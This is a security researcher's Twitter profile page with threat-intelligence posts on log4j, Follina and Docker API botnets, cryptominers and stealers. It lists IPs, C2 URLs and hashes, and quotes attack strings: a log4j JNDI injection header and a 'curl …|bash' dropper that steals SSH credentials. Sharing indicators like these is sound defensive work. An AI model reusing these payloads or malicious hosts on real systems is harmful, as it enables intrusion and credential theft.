Toli
@tolisec
Followers
933
Following
1K
Media
27
Statuses
130
Security Researcher. My tweets are my own and do not reflect the views of my employer.
United Kingdom
Joined November 2017
IoT Botnet Exploiting #CVE-2021-44228 #log4j User-Agent: ${jndi:ldap://179.43.175.101:1389/o=tomcat} The payload is JavaScript code executed in Java using ScriptEngineManager. IOCs and sample: https://t.co/kvKqdFIaDD
1
43
111
#microsoft just released a article related to #NorthKorean #ThreatActors
https://t.co/OL5yZTwBD4 Seems to be that this is a active IOC's related to the ransomware group: 192.177.51.248 ccwaterfall[.]com cc: @tolisec @500mk500 @Gi7w0rm @UK_Daniel_Card @tosscoinwitcher
microsoft.com
Microsoft has identified a new North Korean threat actor, now tracked as Moonstone Sleet (formerly Storm-1789), that combines many tried-and-true techniques used by other North Korean threat actors,...
5
12
38
We are proud to have assisted (along with partners) in the US DoJ & FBI-led disruption of the Moobot malware botnet comprised of SOHO routers utilized by APT 28/Fancy Bear: https://t.co/RnswWqlgYo Data on infections shared in Sinkhole HTTP Events report:
justice.gov
A January 2024 court-authorized operation has neutralized a network of hundreds of small office/home office (SOHO) routers that GRU Military Unit 26165, also known as APT 28, Sofacy Group, Forest...
1
13
15
📢 In #FIRSTCTI22, @unixfreaxjp w/ LACERT teams will share the implementation of @FIRSTdotOrg #CTI Curriculum methods into their investigation of targeted #WebSkimming threat as takeaways for #BlueTeam
https://t.co/x3RuGQGtlI Register soon, we value your time with good sharing!
first.org
Register for #FIRSTCTI22 in Berlin, 1-3 November! Program agenda is available for viewing at https://t.co/LPXvpavDyZ. Room block offers expire soon! #cybersec #misp #threatintelligence #threatscape #cti
1
14
24
Follina patch CVE-2022-30190. (msdt.exe) is out. https://t.co/bWTfNHiBxW
3
60
136
Están llegando los mineros! 🤖 (CVE-2022-1388) IP atacante: 85.106.114.175 🇹🇷 Payload: curl 202.28.229.174/ldr.sh|bash Muestras: https://t.co/LWi6xDlHrO * Incluye exfiltración de credenciales SSH
5
10
27
Everybody is familiar with the value of a tool like VirusTotal for malware... Ever wanted a similar tool for analyzing _not_ malware? Check out @echotrailco - solid collection of information & stats about common binaries found on healthy systems. https://t.co/1owpa5ZqrP
7
78
305
𝗔𝗰𝘁𝗶𝘃e #Mars #Stealer #Malware spread from CloudLite LLC Russia Threat Actor keep changing urls C2 Domain : http://jsdkca(.)link/518855.php hash: 6e304b4616eb9daa7da76d3c1894d5e62af10fe6dc3d6b2356518dbb1121d6b9 Seems malware infection in maas in this C2
0
8
21
VirusTotal welcomes @elfdigest to the VT multi-sandbox project! https://t.co/iqHDobEGLB by @karlhiramoto
1
13
23
Recently deployed #Mars #Stealer #Malware C2: http://62.204.41.180/5xtELSMXvf.php Hash: 4d0b2e81d023a1704d0fb71cf3e689ec43a813c4041e6d0d5503de2732d18f15 e5e16ce47ed80d3b802a9c36f7ae408493d1e491ce83f72f253832b150aeb4bc
0
6
7
Will you be interested to join our #shellcode ADVANCED workshop w/#radare2 to study & RE on how recent threats are using shellcode in their actions aim Win/Mac/Linux OS? This vote will decide workshop planning, your answers matter! cc: @cedoxX @trufae @radareorg #MalwareMustDie
1
27
55
Recent Chinese Threat Actor #Winnti panel C2: ip: 204.15.78.131:3220 (TCP) url: us\.\host.skybad\.\top Actual Payload hosted here : http://160.251.42(.)252/xghk.exe hash: c99397d66e49e2def1b17f57cd0c5fb9 #GoldDragon #ZxShell
#threatintel cc: @500mk500 (;
5
25
76
@1ZRR4H @ankit_anubhav @malwrhunterteam @0xrb Another server used in the same campaign: 80.92.204.82 🇩🇪
0
1
4
@1ZRR4H @ankit_anubhav @malwrhunterteam @0xrb The malware hosting server has moved to: 195.2.81.27 🇷🇺
1
1
2
Active #Kinsing #cryptomining campaign targeting exposed Docker API IoCs: hxxp://185.231.153.4/d.sh 🇷🇺 scanner/loader: 95.182.120.39 🇷🇺 initial payload: https://t.co/PRQUpGfuEC kinsing bin: https://t.co/SXRoRPf8OO
1
25
38
an update of the same botnet, another shellscript payload: hxxp://oracle.zzhreceive.top/b2f628fff19fda999999999/dktest.sh bazaar:
bazaar.abuse.ch
Threat intel on dktest.sh (MD5 3c66f9e5b4f2104f9ca8677d0f4e6c01)
0
1
0
Cryptomining #Linux #botnet exploiting exposed Docker APIs: - shell-script as initial payload - uses Diamorphine and LD_PRELOAD rootkits - drops Tsunami bin with .jpg extension - looks for SSH keys and AWS creds (Team-TNT code reuse) IoCs and analysis: https://t.co/SltARQAsYE
1
30
54
Another large size net associated with #SystemBC Malware c2 (31.44.185(.)11) From Russia ( WebLine LTD ) more than 16000 victim infected cc: @Cryptolaemus1 @1ZRR4H @bofheaded
1
13
36
#Kinsing botnet exploiting #log4j IoCs: ldap/web: 178[.]20[.]40[.]227 kinsing bin: https://t.co/XbX3ZoXpv6 curl-amd64: 6b9e23cb675be370a18a0c4482dc566be28920d4f1cd8ba6b4527f80acf978d3 libsystem .so: c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a
4
17
29
Tsunami botnet update #log4j IoC: ldap 135.148.132.224:1389 hxxp://106.246.224.219/.l/pty3 hxxp://106.246.224.219/.l/pty4 MalwareBazaar : https://t.co/VIUOOBhfQg
bazaar.abuse.ch
pty4 has been detected as Tsunami by MalwareBazaar
This #log4j IoT botnet has now moved its MD server New IoCs: ldap://185.246.87.50:1389/Exploit http://51.250.28.5/.l/log
http://51.250.28.5/.l/pty3
http://51.250.28.5/.l/pty4 Also spotted by @goncalor
0
1
2